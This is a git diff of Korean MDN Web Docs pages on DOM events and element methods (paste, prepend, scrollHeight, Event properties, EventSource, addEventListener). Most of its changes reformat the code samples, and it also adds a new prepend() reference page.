@@ -1,5 +1,5 @@
 ---
-title: 'Element: paste 이벤트'
+title: "Element: paste 이벤트"
 slug: Web/API/Element/paste_event
 ---
 
@@ -41,35 +41,38 @@ slug: Web/API/Element/paste_event
 ### HTML
 
 ```html
-<div class="source" contenteditable="true">이 상자에서 텍스트를 복사해보세요...</div>
+<div class="source" contenteditable="true">
+  이 상자에서 텍스트를 복사해보세요...
+</div>
 <div class="target" contenteditable="true">...여기에 붙여 넣어 보세요.</div>
 ```
 
 ```css hidden
-div.source, div.target {
-    border: 1px solid gray;
-    margin: .5rem;
-    padding: .5rem;
-    height: 1rem;
-    background-color: #e9eef1;
+div.source,
+div.target {
+  border: 1px solid gray;
+  margin: 0.5rem;
+  padding: 0.5rem;
+  height: 1rem;
+  background-color: #e9eef1;
 }
 ```
 
 ### JS
 
 ```js
-const target = document.querySelector('div.target');
+const target = document.querySelector("div.target");
 
-target.addEventListener('paste', (event) => {
-    const paste = (event.clipboardData || window.clipboardData).getData('text');
-    const reversed = Array.from(paste).reverse().join('');
+target.addEventListener("paste", (event) => {
+  const paste = (event.clipboardData || window.clipboardData).getData("text");
+  const reversed = Array.from(paste).reverse().join("");
 
-    const selection = window.getSelection();
-    if (!selection.rangeCount) return false;
-    selection.deleteFromDocument();
-    selection.getRangeAt(0).insertNode(document.createTextNode(reversed));
+  const selection = window.getSelection();
+  if (!selection.rangeCount) return false;
+  selection.deleteFromDocument();
+  selection.getRangeAt(0).insertNode(document.createTextNode(reversed));
 
-    event.preventDefault();
+  event.preventDefault();
 });
 ```
 
diff --git a/files/ko/web/api/element/prepend/index.md b/files/ko/web/api/element/prepend/index.md
new file mode 100644
index 00000000000000..c4d3be90e388e9
--- /dev/null
+++ b/files/ko/web/api/element/prepend/index.md
@@ -0,0 +1,98 @@
+---
+title: "Element: prepend() 메서드"
+short-title: prepend()
+slug: Web/API/Element/prepend
+l10n:
+  sourceCommit: bbf7f25f9cf95fb154e2740a9fdc9c02818981bf
+---
+
+{{APIRef("DOM")}}
+
+**`Element.prepend()`** 메서드는 {{domxref("Element")}}의 첫 번째 자식 이전에 {{domxref("Node")}} 객체 혹은 문자열 객체 집합을 삽입합니다. 문자열 객체는 {{domxref("Text")}} 노드와 동등하게 삽입됩니다.
+
+## 구문
+
+```js-nolint
+prepend(param1)
+prepend(param1, param2)
+prepend(param1, param2, /* … ,*/ paramN)
+```
+
+### 매개변수
+
+- `param1`, …, `paramN`
+  - : 삽입할 {{domxref("Node")}} 혹은 문자열 객체 집합.
+
+### 반환 값
+
+없음 ({{jsxref("undefined")}}).
+
+### 예외
+
+- `HierarchyRequestError` {{DOMxRef("DOMException")}}
+  - : 노드가 계층에서 지정된 위치에 삽입될 수 없을 때 에러를 던집니다.
+
+## 예제
+
+### 요소를 앞에 추가하기
+
+```js
+let div = document.createElement("div");
+let p = document.createElement("p");
+let span = document.createElement("span");
+div.append(p);
+div.prepend(span);
+
+console.log(div.childNodes); // NodeList [ <span>, <p> ]
+```
+
+### 텍스트를 앞에 추가하기
+
+```js
+let div = document.createElement("div");
+div.append("Some text");
+div.prepend("Headline: ");
+
+console.log(div.textContent); // "Headline: Some text"
+```
+
+### 요소와 텍스트를 앞에 추가하기
+
+```js
+let div = document.createElement("div");
+let p = document.createElement("p");
+div.prepend("Some text", p);
+
+console.log(div.childNodes); // NodeList [ #text "Some text", <p> ]
+```
+
+### prepend 메서드는 범위가 지정되지 않습니다.
+
+`prepend()` 메서드는 `with` 문으로 범위가 지정되지 않습니다.
+자세한 내용은 {{jsxref("Symbol.unscopables")}} 참고하시기 바랍니다.
+
+```js
+let div = document.createElement("div");
+
+with (div) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined
+```
+
+## 명세서
+
+{{Specifications}}
+
+## 브라우저 호환성
+
+{{Compat}}
+
+## 같이 보기
+
+- {{domxref("Element.append()")}}
+- {{domxref("Node.appendChild()")}}
+- {{domxref("Node.insertBefore()")}}
+- {{domxref("Element.before()")}}
+- {{domxref("Element.insertAdjacentElement()")}}
+- {{domxref("NodeList")}}
diff --git a/files/ko/web/api/element/scrollheight/index.md b/files/ko/web/api/element/scrollheight/index.md
index 5d30bd113a4704..96b4f30a0f9c06 100644
--- a/files/ko/web/api/element/scrollheight/index.md
+++ b/files/ko/web/api/element/scrollheight/index.md
@@ -2,6 +2,7 @@
 title: Element.scrollHeight
 slug: Web/API/Element/scrollHeight
 ---
+
 {{ APIRef("DOM") }}
 
 **`Element.scrollHeight`** 읽기 전용 속성은 요소 콘텐츠의 총 높이를 나타내며, 바깥으로 넘쳐서 보이지 않는 콘텐츠도 포함합니다.
@@ -39,28 +40,29 @@ padding-bottom
 다음 등식이 참인 경우 요소를 끝까지 스크롤한 것입니다.
 
 ```js
-element.scrollHeight - element.scrollTop === element.clientHeight
+element.scrollHeight - element.scrollTop === element.clientHeight;
 ```
 
 컨테이너가 스크롤 대신 오버플로된 자식을 노출하는 경우, 다음 검사로 컨테이너가 스크롤 가능한지 알아볼 수 있습니다.
 
 ```js
-window.getComputedStyle(element).overflowY === 'visible'
-window.getComputedStyle(element).overflowY !== 'hidden'
+window.getComputedStyle(element).overflowY === "visible";
+window.getComputedStyle(element).overflowY !== "hidden";
 ```
 
 ## 예제
 
 ### 텍스트를 다 읽었는지 확인하기
 
-[`onscroll`](/en-US/docs/DOM/element.onscroll) 이벤트를 함께 사용하여, 내용을 다 읽었는지 확인할 수 있습니다. ([`element.scrollTop`](/ko/docs/DOM/element.scrollTop) 과 [`element.clientHeight`](/ko/docs/DOM/element.clientHeight) 를 참조하세요).
+[`onscroll`](/ko/docs/DOM/element.onscroll) 이벤트를 함께 사용하여, 내용을 다 읽었는지 확인할 수 있습니다. ([`element.scrollTop`](/ko/docs/DOM/element.scrollTop) 과 [`element.clientHeight`](/ko/docs/DOM/element.clientHeight) 를 참조하세요).
 
 #### HTML
 
 ```html
 <form name="registration">
   <p>
-    <textarea id="rules">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+    <textarea id="rules">
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
 Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
 neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
 velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
@@ -101,14 +103,14 @@ nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci
   border-radius: 5px;
   width: 600px;
   padding: 5px;
-  border: 2px #7FDF55 solid;
+  border: 2px #7fdf55 solid;
 }
 
 #rules {
   width: 600px;
   height: 130px;
   padding: 5px;
-  border: #2A9F00 solid 2px;
+  border: #2a9f00 solid 2px;
   border-radius: 5px;
 }
 ```
@@ -116,13 +118,17 @@ nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci
 #### JavaScript
 
 ```js
-function checkReading () {
+function checkReading() {
   if (checkReading.read) {
     return;
   }
   checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
-  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
-  checkReading.noticeBox.innerHTML = checkReading.read ? "감사합니다" : "다음 내용을 확인해주십시오";
+  document.registration.accept.disabled = document.getElementById(
+    "nextstep",
+  ).disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read
+    ? "감사합니다"
+    : "다음 내용을 확인해주십시오";
 }
 
 onload = function () {
@@ -134,7 +140,7 @@ onload = function () {
   oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
   oToBeRead.onscroll = checkReading;
   checkReading.call(oToBeRead);
-}
+};
 ```
 
 {{ EmbedLiveSample('텍스트를_다_읽었는지_확인하기', '640', '400') }}
diff --git a/files/ko/web/api/element/scrollintoview/index.md b/files/ko/web/api/element/scrollintoview/index.md
index c57df12c384a10..7363dea1b3d263 100644
--- a/files/ko/web/api/element/scrollintoview/index.md
+++ b/files/ko/web/api/element/scrollintoview/index.md
@@ -2,6 +2,7 @@
 title: element.scrollIntoView
 slug: Web/API/Element/scrollIntoView
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("Element")}} 인터페이스의 **`scrollIntoView()`** 메소드는 `scrollIntoView()`가 호출 된 요소가 사용자에게 표시되도록 요소의 상위 컨테이너를 스크롤합니다.
diff --git a/files/ko/web/api/element/tagname/index.md b/files/ko/web/api/element/tagname/index.md
index bf84996cedc082..9b6b39c8112e75 100644
--- a/files/ko/web/api/element/tagname/index.md
+++ b/files/ko/web/api/element/tagname/index.md
@@ -2,6 +2,7 @@
 title: Element.tagName
 slug: Web/API/Element/tagName
 ---
+
 {{ApiRef("DOM")}}
 
 {{domxref("Element")}} 인터페이스의 **`tagName`** 읽기 전용 속성은 요소에 호출된 태그 명을 가져온다. 예를 들면, 만약 {{HTMLElement("img")}} 요소일 경우, 해당 요소의 `tagName` 속성의 내용은 `"IMG"` 가 된다 (이것은 HTML인 경우에 대한 내용이고, XML/XHTML 문서에서는 대소문자가 다르게 나올 수 있다).
diff --git a/files/ko/web/api/event/bubbles/index.md b/files/ko/web/api/event/bubbles/index.md
index 4243e422c36ff0..b652ff2a852f75 100644
--- a/files/ko/web/api/event/bubbles/index.md
+++ b/files/ko/web/api/event/bubbles/index.md
@@ -2,6 +2,7 @@
 title: Event.bubbles
 slug: Web/API/Event/bubbles
 ---
+
 {{ ApiRef("DOM") }}
 
 {{domxref("Event")}} 인터페이스의 **`bubbles`** 읽기 전용 속성은 이벤트가 DOM 트리를 타고 위쪽으로 버블링되는지 나타냅니다.
diff --git a/files/ko/web/api/event/cancelable/index.md b/files/ko/web/api/event/cancelable/index.md
index 59dccc539f78a1..234e48b24d98f2 100644
--- a/files/ko/web/api/event/cancelable/index.md
+++ b/files/ko/web/api/event/cancelable/index.md
@@ -27,7 +27,7 @@ slug: Web/API/Event/cancelable
 
 ```js
 function preventScrollWheel(event) {
-  if (typeof event.cancelable !== 'boolean' || event.cancelable) {
+  if (typeof event.cancelable !== "boolean" || event.cancelable) {
     // 이벤트를 취소할 수 있으므로 취소함
     event.preventDefault();
   } else {
@@ -38,7 +38,7 @@ function preventScrollWheel(event) {
   }
 }
 
-document.addEventListener('wheel', preventScrollWheel);
+document.addEventListener("wheel", preventScrollWheel);
 ```
 
 ## 명세
diff --git a/files/ko/web/api/event/cancelbubble/index.md b/files/ko/web/api/event/cancelbubble/index.md
index e77419e1b562b9..d5a2d590b32317 100644
--- a/files/ko/web/api/event/cancelbubble/index.md
+++ b/files/ko/web/api/event/cancelbubble/index.md
@@ -2,6 +2,7 @@
 title: Event.cancelBubble
 slug: Web/API/Event/cancelBubble
 ---
+
 {{APIRef("DOM Events")}} {{Deprecated_Header}}
 
 **Event.cancelBubble** 속성은 {{domxref("Event.stopPropagation()")}}의 별칭입니다. 이벤트 핸들러에서 반환되기 전에 값을 true로 설정하면 이벤트가 전파되지 않습니다.
@@ -9,10 +10,10 @@ slug: Web/API/Event/cancelBubble
 ## 예제
 
 ```js
-elem.onclick = function(event) {
+elem.onclick = function (event) {
   // Do cool things here
   event.cancelBubble = true;
-}
+};
 ```
 
 ## 명세
diff --git a/files/ko/web/api/event/defaultprevented/index.md b/files/ko/web/api/event/defaultprevented/index.md
index 9433c6ba3d8a35..c400161ed6d75f 100644
--- a/files/ko/web/api/event/defaultprevented/index.md
+++ b/files/ko/web/api/event/defaultprevented/index.md
@@ -31,21 +31,21 @@ function stopLink(event) {
 }
 
 function logClick(event) {
-  const log = document.getElementById('log');
+  const log = document.getElementById("log");
 
-  if (event.target.tagName === 'A') {
+  if (event.target.tagName === "A") {
     if (event.defaultPrevented) {
-      log.innerText = '죄송합니다. 이 링크는 방문할 수 없습니다.\n' + log.innerText;
-    }
-    else {
-      log.innerText = '링크 방문 중...\n' + log.innerText;
+      log.innerText =
+        "죄송합니다. 이 링크는 방문할 수 없습니다.\n" + log.innerText;
+    } else {
+      log.innerText = "링크 방문 중...\n" + log.innerText;
     }
   }
 }
 
-const a = document.getElementById('link2');
-a.addEventListener('click', stopLink);
-document.addEventListener('click', logClick);
+const a = document.getElementById("link2");
+a.addEventListener("click", stopLink);
+document.addEventListener("click", logClick);
 ```
 
 ### 결과
diff --git a/files/ko/web/api/event/event/index.md b/files/ko/web/api/event/event/index.md
index ef85b2a095d436..b48480d34524db 100644
--- a/files/ko/web/api/event/event/index.md
+++ b/files/ko/web/api/event/event/index.md
@@ -2,6 +2,7 @@
 title: Event()
 slug: Web/API/Event/Event
 ---
+
 {{APIRef("DOM")}}
 
 **`Event()`** 생성자는 새로운 {{domxref("Event")}} 객체를 생성합니다. 생성자로 생성한 이벤트는 브라우저가 생성하는 이벤트와 구분해서 합성 이벤트(synthetic event)라고 부르며, [스크립트에서 발송할 수 있습니다](/ko/docs/Web/Events/Creating_and_triggering_events).
@@ -9,8 +10,8 @@ slug: Web/API/Event/Event
 ## 구문
 
 ```js
-new Event(type)
-new Event(type, options)
+new Event(type);
+new Event(type, options);
 ```
 
 ### 매개변수
@@ -35,7 +36,7 @@ new Event(type, options)
 ```js
 // 버블링 가능하고 취소 불가능한 look 이벤트 생성
 
-const evt = new Event("look", {"bubbles":true, "cancelable":false});
+const evt = new Event("look", { bubbles: true, cancelable: false });
 document.dispatchEvent(evt);
 
 // document 외의 다른 요소에서도 이벤트 발송 가능
diff --git a/files/ko/web/api/event/eventphase/index.md b/files/ko/web/api/event/eventphase/index.md
index 0a59299ab2d593..196fd44acb7c0e 100644
--- a/files/ko/web/api/event/eventphase/index.md
+++ b/files/ko/web/api/event/eventphase/index.md
@@ -2,6 +2,7 @@
 title: Event.eventPhase
 slug: Web/API/Event/eventPhase
 ---
+
 {{ApiRef("DOM")}}
 
 {{domxref("Event")}} 인터페이스의 **`eventPhase`** 읽기 전용 속성은 현재 평가 중인 이벤트 흐름 단계를 나타냅니다.
@@ -34,13 +35,16 @@ slug: Web/API/Event/eventPhase
 </ul>
 <input type="checkbox" id="chCapture" />
 <label for="chCapture">캡처 사용</label>
-  <div id="d1">d1
-    <div id="d2">d2
-      <div id="d3">d3
-        <div id="d4">d4</div>
-      </div>
+<div id="d1">
+  d1
+  <div id="d2">
+    d2
+    <div id="d3">
+      d3
+      <div id="d4">d4</div>
     </div>
   </div>
+</div>
 <div id="divInfo"></div>
 ```
 
@@ -56,8 +60,8 @@ div {
 #divInfo {
   margin: 18px;
   padding: 8px;
-  background-color:white;
-  font-size:80%;
+  background-color: white;
+  font-size: 80%;
 }
 ```
 
@@ -65,71 +69,76 @@ div {
 
 ```js
 let clear = false,
-    divInfo = null,
-    divs = null,
-    useCapture = false;
+  divInfo = null,
+  divs = null,
+  useCapture = false;
 
 window.onload = function () {
-  divInfo = document.getElementById('divInfo')
-  divs = document.getElementsByTagName('div')
-  chCapture = document.getElementById('chCapture')
+  divInfo = document.getElementById("divInfo");
+  divs = document.getElementsByTagName("div");
+  chCapture = document.getElementById("chCapture");
   chCapture.onclick = function () {
-    RemoveListeners()
-    AddListeners()
-  }
-  Clear()
-  AddListeners()
-}
+    RemoveListeners();
+    AddListeners();
+  };
+  Clear();
+  AddListeners();
+};
 
 function RemoveListeners() {
   for (let i = 0; i < divs.length; i++) {
-    let d = divs[i]
+    let d = divs[i];
     if (d.id != "divInfo") {
-      d.removeEventListener("click", OnDivClick, true)
-      d.removeEventListener("click", OnDivClick, false)
+      d.removeEventListener("click", OnDivClick, true);
+      d.removeEventListener("click", OnDivClick, false);
     }
   }
 }
 
 function AddListeners() {
   for (let i = 0; i < divs.length; i++) {
-    let d = divs[i]
+    let d = divs[i];
     if (d.id != "divInfo") {
-        if (chCapture.checked) {
-            d.addEventListener("click", OnDivClick, true)
-        }
-        else {
-            d.addEventListener("click", OnDivClick, false)
-            d.onmousemove = function () { clear = true }
-        }
+      if (chCapture.checked) {
+        d.addEventListener("click", OnDivClick, true);
+      } else {
+        d.addEventListener("click", OnDivClick, false);
+        d.onmousemove = function () {
+          clear = true;
+        };
+      }
     }
   }
 }
 
 function OnDivClick(e) {
   if (clear) {
-    Clear()
-    clear = false
+    Clear();
+    clear = false;
   }
-  if (e.eventPhase == 2)
-    e.currentTarget.style.backgroundColor = 'red';
-    const level =
-        e.eventPhase == 0 ? "없음" :
-        e.eventPhase == 1 ? "캡처" :
-        e.eventPhase == 2 ? "대상" :
-        e.eventPhase == 3 ? "버블" : "오류";
-    const p = document.createElement('p')
-    p.textContent = `${e.currentTarget.id}; eventPhase: ${level}`;
-    divInfo.appendChild(p);
+  if (e.eventPhase == 2) e.currentTarget.style.backgroundColor = "red";
+  const level =
+    e.eventPhase == 0
+      ? "없음"
+      : e.eventPhase == 1
+      ? "캡처"
+      : e.eventPhase == 2
+      ? "대상"
+      : e.eventPhase == 3
+      ? "버블"
+      : "오류";
+  const p = document.createElement("p");
+  p.textContent = `${e.currentTarget.id}; eventPhase: ${level}`;
+  divInfo.appendChild(p);
 }
 
 function Clear() {
   for (let i = 0; i < divs.length; i++) {
     if (divs[i].id != "divInfo") {
-      divs[i].style.backgroundColor = (i & 1) ? "#f6eedb" : "#cceeff"
+      divs[i].style.backgroundColor = i & 1 ? "#f6eedb" : "#cceeff";
     }
   }
-  divInfo.textContent = '';
+  divInfo.textContent = "";
 }
 ```
 
diff --git a/files/ko/web/api/event/istrusted/index.md b/files/ko/web/api/event/istrusted/index.md
index 534d8816206c1d..757cce7528087a 100644
--- a/files/ko/web/api/event/istrusted/index.md
+++ b/files/ko/web/api/event/istrusted/index.md
@@ -2,6 +2,7 @@
 title: Event.isTrusted
 slug: Web/API/Event/isTrusted
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("Event")}} 인터페이스의 **`isTrusted`** 읽기 전용 속성은 사용자 액션에 의해 생성된 이벤트에서는 `true`, 스크립트에서 생성 또는 수정했거나 {{domxref("EventTarget.dispatchEvent()")}}로 발송한 이벤트의 경우 `false`인 불리언 값입니다.
diff --git a/files/ko/web/api/event/preventdefault/index.md b/files/ko/web/api/event/preventdefault/index.md
index 27ab26b75aca91..3c6c0c72a8bfb0 100644
--- a/files/ko/web/api/event/preventdefault/index.md
+++ b/files/ko/web/api/event/preventdefault/index.md
@@ -2,6 +2,7 @@
 title: Event.preventDefault()
 slug: Web/API/Event/preventDefault
 ---
+
 {{apiref("DOM")}}
 
 {{domxref("Event")}} 인터페이스의 **`preventDefault()`** 메서드는 어떤 이벤트를 명시적으로 처리하지 않은 경우, 해당 이벤트에 대한 {{Glossary("user agent", "사용자 에이전트")}}의 기본 동작을 실행하지 않도록 지정합니다.
@@ -25,10 +26,15 @@ event.preventDefault();
 #### JavaScript
 
 ```js
-document.querySelector("#id-checkbox").addEventListener("click", function(event) {
-         document.getElementById("output-box").innerHTML += "죄송합니다! <code>preventDefault()</code> 때문에 체크할 수 없어요!<br>";
-         event.preventDefault();
-}, false);
+document.querySelector("#id-checkbox").addEventListener(
+  "click",
+  function (event) {
+    document.getElementById("output-box").innerHTML +=
+      "죄송합니다! <code>preventDefault()</code> 때문에 체크할 수 없어요!<br>";
+    event.preventDefault();
+  },
+  false,
+);
 ```
 
 #### HTML
@@ -38,7 +44,7 @@ document.querySelector("#id-checkbox").addEventListener("click", function(event)
 
 <form>
   <label for="id-checkbox">체크박스:</label>
-  <input type="checkbox" id="id-checkbox"/>
+  <input type="checkbox" id="id-checkbox" />
 </form>
 
 <div id="output-box"></div>
@@ -59,7 +65,7 @@ document.querySelector("#id-checkbox").addEventListener("click", function(event)
   <p>이름을 입력하세요. 영문 소문자만 사용할 수 있습니다.</p>
 
   <form>
-    <input type="text" id="my-textbox">
+    <input type="text" id="my-textbox" />
   </form>
 </div>
 ```
@@ -84,8 +90,8 @@ document.querySelector("#id-checkbox").addEventListener("click", function(event)
 이제 실제 작업을 수행할 JavaScript 코드입니다. 우선 {{domxref("Element/keypress_event", "keypress")}} 이벤트를 수신합니다.
 
 ```js
-var myTextbox = document.getElementById('my-textbox');
-myTextbox.addEventListener('keypress', checkName, false);
+var myTextbox = document.getElementById("my-textbox");
+myTextbox.addEventListener("keypress", checkName, false);
 ```
 
 `checkName()` 함수는 사용자가 누른 키를 관찰해서 허용할지, 허용하지 않을지 결정합니다.
@@ -97,8 +103,7 @@ function checkName(evt) {
     if (charCode < 97 || charCode > 122) {
       evt.preventDefault();
       displayWarning(
-        "영문 소문자만 입력하세요."
-        + "\n" + "charCode: " + charCode + "\n"
+        "영문 소문자만 입력하세요." + "\n" + "charCode: " + charCode + "\n",
       );
     }
   }
@@ -122,10 +127,10 @@ function displayWarning(msg) {
     myTextbox.parentNode.insertBefore(warningBox, myTextbox.nextSibling);
   }
 
-  warningTimeout = window.setTimeout(function() {
-      warningBox.parentNode.removeChild(warningBox);
-      warningTimeout = -1;
-    }, 2000);
+  warningTimeout = window.setTimeout(function () {
+    warningBox.parentNode.removeChild(warningBox);
+    warningTimeout = -1;
+  }, 2000);
 }
 ```
 
diff --git a/files/ko/web/api/event/stoppropagation/index.md b/files/ko/web/api/event/stoppropagation/index.md
index 0626d2f03fec84..b690561917153a 100644
--- a/files/ko/web/api/event/stoppropagation/index.md
+++ b/files/ko/web/api/event/stoppropagation/index.md
@@ -2,6 +2,7 @@
 title: Event.stopPropagation()
 slug: Web/API/Event/stopPropagation
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("Event")}} 인터페이스의 **`stopPropagation()`** 메서드는 현재 이벤트가 캡처링/버블링 단계에서 더 이상 전파되지 않도록 방지합니다. 전파를 방지해도 이벤트의 기본 동작은 실행되므로, `stopPropagation()`이 링크나 버튼의 클릭을 막는 것은 아닙니다. 이런 기본 동작을 방지하려면 {{domxref("Event.preventDefault()", "preventDefault()")}} 메서드를 사용하세요. 또한, `stopPropagation()`은 같은 이벤트 대상에 부착한 다른 수신기까지 막지는 않습니다. 이것까지 막으려면 {{domxref("Event.stopImmediatePropagation", "stopImmediatePropagation()")}}를 사용하세요.
diff --git a/files/ko/web/api/event/target/index.md b/files/ko/web/api/event/target/index.md
index a4be6a6af6cffc..79a4e90c2bd4fd 100644
--- a/files/ko/web/api/event/target/index.md
+++ b/files/ko/web/api/event/target/index.md
@@ -17,23 +17,23 @@ slug: Web/API/Event/target
 
 ```js
 // 목록 생성
-const ul = document.createElement('ul');
+const ul = document.createElement("ul");
 document.body.appendChild(ul);
 
-const li1 = document.createElement('li');
-const li2 = document.createElement('li');
+const li1 = document.createElement("li");
+const li2 = document.createElement("li");
 ul.appendChild(li1);
 ul.appendChild(li2);
 
 function hide(evt) {
   // e.target은 사용자가 클릭한 <li> 요소를 가리킴
   // 여기서 e.currentTarget은 부모인 <ul>을 가리킬 것
-  evt.target.style.visibility = 'hidden';
+  evt.target.style.visibility = "hidden";
 }
 
 // 목록에 수신기 부착
 // 각각의 <li>를 클릭할 때 호출됨
-ul.addEventListener('click', hide, false);
+ul.addEventListener("click", hide, false);
 ```
 
 ## 명세
diff --git a/files/ko/web/api/event/timestamp/index.md b/files/ko/web/api/event/timestamp/index.md
index e51372862b9a00..b1343058b84e88 100644
--- a/files/ko/web/api/event/timestamp/index.md
+++ b/files/ko/web/api/event/timestamp/index.md
@@ -19,8 +19,8 @@ slug: Web/API/Event/timeStamp
 
 ```html
 <p>
-  이 프레임에 포커스를 두고 아무 키나 눌러
-  keypress 이벤트의 현재 타임스탬프를 알아보세요.
+  이 프레임에 포커스를 두고 아무 키나 눌러 keypress 이벤트의 현재 타임스탬프를
+  알아보세요.
 </p>
 <p>timeStamp: <span id="time">-</span></p>
 ```
@@ -29,10 +29,10 @@ slug: Web/API/Event/timeStamp
 
 ```js
 function getTime(event) {
-  const time = document.getElementById('time');
+  const time = document.getElementById("time");
   time.firstChild.nodeValue = event.timeStamp;
 }
-document.body.addEventListener('keypress', getTime);
+document.body.addEventListener("keypress", getTime);
 ```
 
 ### 결과
diff --git a/files/ko/web/api/event/type/index.md b/files/ko/web/api/event/type/index.md
index 7a1cc4a9d03007..ee2e5dfe0b604f 100644
--- a/files/ko/web/api/event/type/index.md
+++ b/files/ko/web/api/event/type/index.md
@@ -2,6 +2,7 @@
 title: Event.type
 slug: Web/API/Event/type
 ---
+
 {{APIRef}}
 
 {{domxref("Event")}} 인터페이스의 **`type`** 읽기 전용 속성은 이벤트의 유형을 나타내는 문자열을 반환합니다. 이 속성은 이벤트를 생성할 때 설정되며, `click`, `load`, `error`처럼 특정 이벤트를 지칭할 때 사용하는 이름과 같은 값을 반환합니다.
@@ -25,19 +26,19 @@ slug: Web/API/Event/type
 
 ```js
 function getEventType(event) {
-  const log = document.getElementById('log');
-  log.innerText = event.type + '\n' + log.innerText;
+  const log = document.getElementById("log");
+  log.innerText = event.type + "\n" + log.innerText;
 }
 
 // 키보드 이벤트
-document.addEventListener('keydown', getEventType, false);  // 1번
-document.addEventListener('keypress', getEventType, false); // 2번
-document.addEventListener('keyup', getEventType, false);    // 3번
+document.addEventListener("keydown", getEventType, false); // 1번
+document.addEventListener("keypress", getEventType, false); // 2번
+document.addEventListener("keyup", getEventType, false); // 3번
 
 // 마우스 이벤트
-document.addEventListener('mousedown', getEventType, false); // 1번
-document.addEventListener('mouseup', getEventType, false);   // 2번
-document.addEventListener('click', getEventType, false);     // 3번
+document.addEventListener("mousedown", getEventType, false); // 1번
+document.addEventListener("mouseup", getEventType, false); // 2번
+document.addEventListener("click", getEventType, false); // 3번
 ```
 
 ### 결과
diff --git a/files/ko/web/api/eventsource/eventsource/index.md b/files/ko/web/api/eventsource/eventsource/index.md
index ffe977071e8067..f864b831ed51c9 100644
--- a/files/ko/web/api/eventsource/eventsource/index.md
+++ b/files/ko/web/api/eventsource/eventsource/index.md
@@ -23,15 +23,15 @@ eventSource = new EventSource(url, configuration);
 ## 예시
 
 ```js
-var evtSource = new EventSource('sse.php');
-var eventList = document.querySelector('ul');
+var evtSource = new EventSource("sse.php");
+var eventList = document.querySelector("ul");
 
-evtSource.onmessage = function(e) {
+evtSource.onmessage = function (e) {
   var newElement = document.createElement("li");
 
   newElement.textContent = "message: " + e.data;
   eventList.appendChild(newElement);
-}
+};
 ```
 
 > **참고:** GitHub 에서 전체 예시를 확인할 수 있습니다 — [Simple SSE demo using PHP를 사용하는 간단한 SSE 데모](https://github.com/mdn/dom-examples/tree/master/server-sent-events)를 보세요.
diff --git a/files/ko/web/api/eventsource/index.md b/files/ko/web/api/eventsource/index.md
index ba58deb9888c8b..a2729d2deef492 100644
--- a/files/ko/web/api/eventsource/index.md
+++ b/files/ko/web/api/eventsource/index.md
@@ -25,7 +25,7 @@ _This interface also inherits properties from its parent, {{domxref("EventTarget
 - {{domxref("EventSource.url")}} {{ReadOnlyInline}}
   - : A string representing the URL of the source.
 - {{domxref("EventSource.withCredentials")}} {{ReadOnlyInline}}
-  - : A boolean value indicating whether the `EventSource` object was instantiated with cross-origin ([CORS](/en-US/docs/Web/HTTP/CORS)) credentials set (`true`), or not (`false`, the default).
+  - : A boolean value indicating whether the `EventSource` object was instantiated with cross-origin ([CORS](/ko/docs/Web/HTTP/CORS)) credentials set (`true`), or not (`false`, the default).
 
 ## Instance methods
 
@@ -50,15 +50,15 @@ Additionally, the event source itself may send messages with an event field, whi
 이 기초적인 예시에서, `EventSource`는 서버로 부터 받은 이벤트로 생성되었습니다; `"sse.php"`라는 이름을 가진 페이지는 이벤트를 생성할 책임이 있습니다.
 
 ```js
-var evtSource = new EventSource('sse.php');
-var eventList = document.querySelector('ul');
+var evtSource = new EventSource("sse.php");
+var eventList = document.querySelector("ul");
 
-evtSource.onmessage = function(e) {
+evtSource.onmessage = function (e) {
   var newElement = document.createElement("li");
 
   newElement.textContent = "message: " + e.data;
   eventList.appendChild(newElement);
-}
+};
 ```
 
 각각의 수신한 이벤트는 우리의 `EventSource` 객체의 `onmessage` 이벤트 핸들러가 실행되도록 합니다. 차례가 되었을 때, 새로운 {{HTMLElement("li")}} 요소를 생성하고, 메시지 데이터를 안에 작성합니다. 그 때, 문서에 이미 존재하는 ul 요소에 새로운 요소를 추가하게 됩니다.
diff --git a/files/ko/web/api/eventtarget/addeventlistener/index.md b/files/ko/web/api/eventtarget/addeventlistener/index.md
index 7168a047aa92f6..9ac6efe31066ad 100644
--- a/files/ko/web/api/eventtarget/addeventlistener/index.md
+++ b/files/ko/web/api/eventtarget/addeventlistener/index.md
@@ -2,6 +2,7 @@
 title: EventTarget.addEventListener()
 slug: Web/API/EventTarget/addEventListener
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("EventTarget")}} 인터페이스의 **`addEventListener()`** 메서드는 지정한 유형의 이벤트를 대상이 수신할 때마다 호출할 함수를 설정합니다.
@@ -41,6 +42,7 @@ addEventListener(type, listener, useCapture);
 - `listener`
   - : 지정한 이벤트({{domxref("Event")}} 인터페이스를 구현한 객체)를 수신할 객체입니다. `handleEvent()` 메서드를 포함하는 객체 또는 JavaScript [함수](/ko/docs/Web/JavaScript/Guide/Functions)여야 합니다. [이벤트 수신기 콜백](#이벤트_수신기_콜백)에서 콜백 자체에 대한 정보를 더 알아보세요.
 - `options` {{optional_inline}}
+
   - : 이벤트 수신기의 특징을 지정할 수 있는 객체입니다. 가능한 옵션은 다음과 같습니다.
     - `capture`
       - : 이벤트 대상의 DOM 트리 하위에 위치한 자손 `EventTarget`으로 이벤트가 전달되기 전에, 이 수신기가 먼저 발동돼야 함을 나타내는 불리언 값입니다. 명시하지 않을 경우 기본 값은 `false`입니다.
@@ -77,9 +79,9 @@ addEventListener(type, listener, useCapture);
 
 ```js
 function eventHandler(event) {
-  if (event.type == 'fullscreenchange') {
+  if (event.type == "fullscreenchange") {
     /* 전체화면 여부 변화 처리 */
